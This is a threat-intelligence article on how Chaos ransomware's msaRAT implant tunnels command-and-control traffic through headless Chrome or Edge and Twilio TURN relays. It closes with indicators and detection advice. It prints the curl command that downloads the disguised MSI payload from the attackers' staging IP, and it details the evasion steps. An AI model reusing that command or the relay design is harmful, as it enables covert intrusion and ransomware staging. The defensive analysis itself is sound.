Chaos Ransomware Leverages msaRAT to Relay C2 Traffic via Headless Chrome and Edge

Key Takeaways

• The Chaos ransomware group’s C2 traffic never leaves the victim’s machine as a distinct process; it rides inside a legitimate Chrome or Edge browser launched in headless mode.
• msaRAT, a Rust‑based implant, uses the Chrome DevTools Protocol (CDP) to control the browser and opens a WebRTC data channel that is relayed through Twilio’s TURN servers, masking the attacker’s infrastructure as ordinary browser‑to‑Cloudflare/Twilio traffic.
• Communication is doubly encrypted: DTLS provided by the browser wraps an internal ChaCha‑Poly1305 layer keyed via an ECDH handshake that begins with a 0xFE frame.
• The implant does not rely on any browser vulnerability; detection must focus on anomalous process behavior (headless browser launched by non‑interactive parents, loopback CDP traffic, and outbound WebRTC to Twilio).
• Public indicators are limited to a staging IP and a Cloudflare Worker hostname, both of which can be rotated easily; the technique itself—spawning a headless browser for C2—is the more durable defensive focus.

Overview of msaRAT and the Chaos Ransomware C2 Technique
Cisco Talos revealed that the Chaos ransomware group leverages a Rust implant named msaRAT to establish command‑and‑control (C2) entirely through the victim’s own web browser. Rather than opening a direct outbound socket, the malware starts Chrome or Edge in headless mode, drives the browser via the Chrome DevTools Protocol (CDP), and tunnels all C2 messages over a WebRTC data channel that is relayed by Twilio’s TURN service. To network defenders, the traffic appears as ordinary browser connections to Cloudflare and Twilio, with no visible malicious server address.

How msaRAT Launches a Headless Browser via CDP
msaRAT first attempts to locate Chrome or Edge by checking environment variables, then falls back to the Windows registry. If a suitable browser is found, it launches it with the flags --headless=new, --remote-debugging-port, and a custom --user-data-dir to avoid interfering with the victim’s profile. Since Chrome 136 no longer honors the debugging switch on the default profile, the implant’s own profile directory sidesteps this restriction. Once the browser is running, msaRAT queries /json/list/ to obtain a debuggable target, connects to the returned WebSocket URL, creates a new tab, disables Content Security Policy, registers five Runtime bindings (msaOpen, msaClose, msaError, msaMessage, and dataAck), and injects JavaScript stored in plaintext within the binary’s .rdata section.

WebRTC Data Channel Relay Through Twilio TURN
The injected JavaScript contacts a Cloudflare Worker at is-01-ast[.]ols-img-12[.]workers[.]dev to retrieve STUN and TURN configuration, sending Origin and Referer headers that mimic traffic from Microsoft’s site to avoid suspicion. It then constructs a peer connection, posts an SDP offer to the same Worker endpoint, and receives an answer that lacks ICE candidates and sets the connection address to 0.0.0.0. Consequently, a direct peer‑to‑peer link cannot form; the entire channel is forced through Twilio’s global TURN relay at global.turn.twilio.com. After the Worker supplies the initial signaling, it drops out of the data path, leaving the browser‑to‑TURN link as the sole conduit for C2 traffic.

Double Encryption and Command Execution Flow
Traffic on the WebRTC data channel is encrypted twice. First, the browser provides DTLS security for the underlying transport. Inside that DTLS tunnel, msaRAT applies a ChaCha‑Poly1305‑based encryption scheme whose keys are derived from an ECDH exchange that starts with a 0xFE handshake frame sent by the C2 immediately after the channel is established. Incoming frames are decrypted and handed to cmd.exe /e:ON /v:OFF /d /c for execution, enabling the attacker to run arbitrary commands, retrieve screenshots, exfiltrate files, or stage further payloads. Talos notes that the send queue and flow‑control mechanisms appear designed to reliably move large payloads.

Prior Art and Similar Techniques
The use of WebRTC data channels for covert C2 is not wholly novel. In August 2025, Praetorian demonstrated that conferencing platforms’ TURN infrastructure could ferry a full C2 channel, and in March 2026, Sansec identified a web‑skimmer that exfiltrated stolen card data via WebRTC to bypass HTTP inspection. msaRAT combines these ideas with a headless‑browser CDP controller, embedding them within a Chaos‑linked Rust implant. This synthesis showcases how attackers repurpose legitimate, widely‑allowed services to obscure malicious traffic.

Delivery and Installation Vector
msaRAT is delivered post‑compromise, after the attacker has already achieved execution on the host but before the Chaos encryptor runs. The specific infection vector in the analyzed case involved a simple curl command:

curl.exe https://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi

The MSI file masquerades as a Windows update; its custom action loads an embedded DLL straight into memory at the end of installation. That DLL is msaRAT, compiled in Rust using the Tokio async runtime and exporting a function named RUN for the MSI to invoke. Because the download uses plain HTTP over port 443, firewall rules that inspect only port numbers—not protocol or content—often permit the traffic.

Detection and Hunting Guidance
Since msaRAT does not exploit a browser flaw, defenders cannot rely on patching Chrome or Edge to block it. Instead, detection must focus on behavioral anomalies:

• Look for Chrome or Edge processes launched with --headless=new and --remote-debugging-port by non‑interactive parents such as installers, services, or other background tools.
• Correlate those processes with loopback traffic to the debugging port (typically 127.0.0.1:<port>) and outbound WebRTC packets destined for Twilio’s TURN servers (global.turn.twilio.com).
• Where telemetry captures CDP messages, monitor for the specific Runtime bindings (msaOpen, msaClose, msaError, msaMessage, dataAck) and Runtime.evaluate calls, which indicate JavaScript injection.
• Environments that run browser automation or CI pipelines will naturally generate similar headless browsers; baseline those activities and tune alerts to deviations.

Limitations of Public Indicators and Implications
As of July 23 2026, Talos has not released file hashes for msaRAT; the public indicator set consists solely of the staging IP address (172.86.126[.]18) and the Cloudflare Worker hostname (is-01-ast[.]ols-img-12[.]workers[.]dev). Both are easily rotated—attackers can point the implant at a new Worker or change the download URL without altering the core technique. Consequently, relying on these indicators yields narrow, short‑lived coverage. The more durable defensive insight is the observation that Chaos (and potentially other groups) now leverages a legitimate browser as a C2 conduit, making process‑level monitoring and anomaly detection essential for spotting this stealthy channel.